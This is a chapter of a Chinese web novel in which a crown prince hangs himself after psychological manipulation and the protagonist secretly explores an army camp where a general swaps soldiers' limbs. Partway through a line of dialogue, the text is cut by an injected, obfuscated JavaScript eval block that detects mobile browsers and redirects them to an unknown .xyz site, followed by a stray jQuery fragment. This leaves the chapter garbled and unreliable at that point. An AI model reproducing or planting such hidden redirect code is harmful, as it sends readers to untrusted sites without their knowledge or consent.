123.123 夜探军营

作品:《万人嫌的逆袭[系统]

    给康庆帝找个彻查魏家和戚家的理由,是萧司明很早之前就有过的想法,柳昭隐的提议正中他的下怀,让他有一种被认可的感觉。


    白鹤仙长认可,就代表着父皇认可,萧司明心中风起云涌,难以安眠,但是刺杀戚坤事关重大,以他的处境,不得不考虑周全。


    萧司明犹豫不决的时候,萧书君自缢而亡。


    后宫处置了很多人,朝中也有很多大臣入狱,康庆帝的大动作搞得各方势力人心惶惶,尤其是魏妃。


    萧鸿意好几天没有出现过了,楚王府在表面上一如往常,实际上,却探听不到任何消息,魏妃便猜到,萧鸿意绝对不是生病这么简单。


    康庆帝不会无缘无故地处置萧鸿意,前两日,萧鸿意才被惩罚清洗勤政殿,那天,康庆帝身边的方公公,因为算计萧鹤川而被处死了。


    方礼背后的人,一定是萧鸿意,否则康庆帝不会让他清洗勤政殿。


    所有被处置的人,背后都是萧鸿意,康庆帝搞出这么大的动作,竟然是为了萧鹤川,这让魏妃很不安。


    萧鹤川本身就武艺高强,他身边偏还有个江昭隐,魏妃觉得刺杀萧鹤川的成功率,不如康庆帝大。


    康庆帝毕竟年纪大了,身子不像年轻人灵活,可是魏妃派来的杀手,再一次被康庆帝的暗卫解决。


    康庆帝见怪不怪,完事以后接着睡觉了,萧书君却被吓得脸色发白,彻夜难眠,虽然听说过刺杀的事,但和亲身经历的感觉完全不同。


    近来,萧书君越来越觉得疲惫。


    父皇一边拿他当挡箭牌,一边给他微不足道的好处,企图把自己营造成一个好父亲,其实,父皇压根没觉得他有当皇帝的能力,母妃说的对,父皇只是在用他稳住戚容。


    但母妃又好到哪里去了呢?母妃一直喊着为他好的口号,不曾教他任何治国之道,却不惜给他喂药也要急着抱皇孙,父皇说的对,母妃只是想通过他,掌控朝堂罢了。


    有人利用萧祁晏的身世,算计萧鹤川,但是父皇连训斥都没有训斥他一句,他已经这么不重要了吗?


    方公公不见了,宫里死了很多人,萧鸿意也不见了,这些事,他全都不知道,他好像真的有些应付不来。


    与人私通的事,不知道是怎么传出去的,尽管魏妃尽力在控制,但是萧书君总觉得,全世界都知道了。


    路过的宫女和太监在交头接耳,萧书君觉得他们是在议论他,大臣们讨论着政事往宫外走去,他也觉得他们是在议论他。


    其他皇子或是忙着争斗,或是认真办差,没怎么搭理萧书君,他觉得他们一定是因为不想被连累,所以干脆远离他。


    父皇没有因此而训斥他,但是他经常梦到父皇生气,暴怒,甚至吐了血,怪他败坏皇家的声誉。


    他梦到自己被游街示众,被百姓唾骂,说他是个欺男霸女的昏君,他开始分不清楚他听到的流言是真实还是幻觉,他好累,他想舒舒服服地睡一觉。


    第二天,萧书君便找到了魏妃。


    萧书君想最后问一遍魏妃,他说:“母妃,您究竟为什么这么着急?”


    刺杀失败,魏妃的心情本来就不好,萧书君还不懂她,魏妃没好气道:“你父皇都在扶持别的皇子了,你怎么还不知道着急?!就连你的兄弟们都懒得跟你斗了,你还以为自己能稳稳当当地坐上皇位吗?”


    萧书君非常平静地问道:“所以,母妃也觉得儿臣没有帝王之能?”


    魏妃话头一转,温和道:“才能是可以慢慢培养的,这些都不重要,重要的是你必须坐上那个位子。”


    萧书君:“母妃扶持儿臣,其实是为了把控儿臣,把控朝堂,对吧?”


    魏妃:……


    魏妃和颜悦色道:“瞎说什么呢?你心性单纯,母亲只是在帮你。”


    萧书君:……


    还在骗他。


    萧书君的心境,疲惫到生不出一丝波澜,也没有力气和魏妃争辩。


    父皇和母妃都把他当傻子,其他皇子也不服他,大臣们也不是真心地拥护他,他的才华、武功、谋略、心胸,样样不如人。


    他要么浑浑噩噩地被摆布,要么清醒地退出。


    离开永昌宫以后,萧书君将他所知的魏家和戚家的所有罪行,包括他自己的,全都写了下来,洋洋洒洒三十多页,放在了他的书案上。


    他不想玷污勤政殿,便在御花园一处不起眼的角落里,选了一棵茂盛的桐树,这里安静,他喜欢这里。


    魏妃悲痛欲绝,魏家百年昌盛,可能就到这儿了,康庆帝黑着脸,说:“下辈子,托生在寻常家人吧。”


    太子自缢,万字罪书,康庆帝大怒,将一干人等通通押入了天牢。


    以魏妃为首的魏家势力,为了把控朝堂,使用卑劣狠毒的手段,逼死了孝悌忠信的太子,万死难辞其咎。


    这件事情一经发生,就吸引了所有人的注意,妖不妖的,压根没有人关注了。


    萧书君所罗列的种种罪行,每一条都要严查严办,再加上江丰德曾经的口供,天牢里的人都快塞不下了,萧鹤川又开始忙了。


    萧鹤川要分.身跟柳昭隐一起去漠北,但是柳昭隐不让他去,说好不容易才等到扳倒魏家的机会,一丝差错都不能有,他让萧鹤川专心审讯,别忘了江昭隐外祖家的案子。


    萧书君的心态,其实在很早之前就开始出问题了,而康庆帝和魏妃都不可能放过他。


    萧鸿意也散播了很多流言,来攻击萧书君的心态,柳昭隐只是加速了他精神崩溃的过程。


    柳昭隐只编辑了两句话,一句是:“你不配做一国之君。”另一句是:“所有人都知道了。”他把这两句话就粘贴在萧书君的眼前,与萧书君的相对位置,设置成固定值。


    每次显示的时长都只有一秒,显示时间由系统随机,萧书君就算看见了,也不敢说出来,他只会以为,那是他心里的鬼。


    让萧书君“自己退出”,才能给康庆帝一个完美的突破口,才能彻底地扳倒魏家。


    柳昭隐既然选择与萧鹤川站在一起,就不能只在心里支持,他的生命有系统的保护,暂时是不死之身,萧鹤川却因为他而遇险。


    他不能再天真了,皇权斗争是一条充满了血腥的路,不是说说而已。


    结束这一切,就只有一个办法,柳昭隐心想,就是让他们决出胜负,让萧鹤川做毫无悬念的继承人。


    康庆帝或许是因为顾忌太多,所以速度太慢吧,也或许是不想有太大的动作,以免落下杀子的骂名,所以,他在等坐不住的人先出手,而柳昭隐计划,让萧司明做那个人。


    萧鹤川喜欢稳扎稳打,他开始显露锋芒,但是绝对不会冒进,但是柳昭隐要在九月初八之前结束这一切,所以他必须让萧书君尽快退出,这样才能刺激萧司明进行下一步。


    *


    话说,柳昭隐不想让萧鹤川跟他一起去漠北,正好,萧鹤川忙着审问与魏家有关的人,最近几天忙的是昏天暗地,柳昭隐便没有提起漠北,但是他每天晚上都要传送过去。


    军营守卫森严,士兵们轮流着,不间断地在巡逻,他们比京城里的王公贵族要敏锐很多,柳昭隐有好几次都差点被发现,还好他跑得快。


    与柳昭隐想象中的军营不同,这里更像是一个寨子,因为柳昭隐毫无头绪,所以他决定先到处看看。


    柳昭隐:“能定位到杜鹃了吗?”


    丧彪:“艾博士一直拖着,不肯完整地编辑,所以管理局还无法定位它,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009756|167345||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    除非它造成大范围的破坏。”


    柳昭隐:……


    那他还是尽快吧。


    倘若杜鹃真的在军营,倘若它已经是成熟形态,那么柳昭隐必须立即除掉它。


    但如果它与宿体的交易尚未达成,杜鹃仍然需要接触才能实现夺取,那么柳昭隐另有计较。


    柳昭隐在军营里溜达了一圈,发现有很多士兵,左右胳膊的粗细不同,不是因为惯用手而造成的肌肉大小不同,而是骨骼的粗细不同,还有些士兵的两条腿不一般粗。


    粗细相差不大,肉眼很难发现,但是柳昭隐有图图大师,可以准确地测量出士兵们的臂围和腿围。


    倘若没有杜鹃的存在,柳昭隐定会认为一切都是巧合,但是禹州矿洞坍塌的时候,很多矿工只剩下头颅,肢体全都不翼而飞。


    所以柳昭隐猜测,是杜鹃把矿工们没有受伤的肢体,换给了受伤的士兵。


    杜鹃的程序中包含了储存功能,它可以一次性夺取很多肢体,储存起来,需要的时候直接拿出来。


    禹州矿洞坍塌的时候,西南还在打仗,西南边陲局势安稳以后,还没有发生过战争,也没有再发生过集体失踪案。


    如果矿工的“伤亡”,是戚容在为战争做准备,那么潮州三艘渔船失踪的时候,都未发生任何战争,那些渔民又去了哪里?


    永胜军常年驻守边疆,从无败绩,却没有任何关于杜鹃的传闻流出,所以戚容一定把杜鹃藏得很严。


    军营太大了,今天已经是柳昭隐偷偷溜达的第三天,不能漫无目的地转悠了。


    柳昭隐取出大风贴纸,吹起滚滚黄沙,并用内力推倒了兵器架子,砸中了不小心摔倒的士兵。


    漠北常有黄沙天气,他们习以为常,不疑有他,士兵的腿被砸骨折,其他人抬着他,去给戚伯言禀报。


    戚伯言命亲卫去巡视一圈,看看是不是有敌军突袭,他把手搭在了士兵的腿上,士兵的腿伤就好了。


    士兵:“多谢将军!”


    戚伯言:“嗯,去巡逻吧。”


    不管是戚伯言,还是受伤的士兵,亦或是其他士兵,对戚伯言治疗腿伤的方式,全都没有一丝惊讶。


    他们好像见惯了,他们的脸上只有对戚伯言的感激之情,却没有任何惊喜之色,但是这种治疗方式明明就很奇怪。


    倘若所有的士兵都知道戚伯言的秘密,那么戚伯言是如何保证这件事,不传出军营的呢?


    柳昭隐跟着戚伯言,进入一间密室,密室里关着很多肢体残缺的人,其中有一部分人是潮州人的长相,他们应该就是失踪的渔民。


    密室很干净,没有任何令人不舒适的气味,每个房间里都放着茶水和点心,柳昭隐摸了摸,还是温的。


    被褥很整洁,甚至很软和,被关着的人,身上也都很干净,他们的气色比在外面风吹日晒的士兵还好。


    有很多人都睡着了,偶尔有被吵醒的,也只是麻木地看了看戚伯言,发现自己没被选中,就接着睡了。


    戚伯言取走其中一人的右腿,这个过程没有任何痛苦,但是他把从士兵身上取走的伤腿,给了那位男子。


    男子没有挣扎,也没有叫喊,只从表情上看出了他的疼痛,很快便进来一位军医,为男子治腿。


    军医:“幸好伤得不重……”


    军医还想说些什么,但是被戚伯言打断了,自从进入密室开始,他就总觉得有人在跟踪他,那个人身上的力量,与杜鹃有着相似之处。


    人多,不好靠着气息分辨方位,戚伯言便离开了密室,朝着僻静处走去,他突然朝着空气掷出一剑,也感受到了对方脚步的挪动。


    戚伯言得意地笑了一下,说:“三天了,阁下还不舍得现身吗?”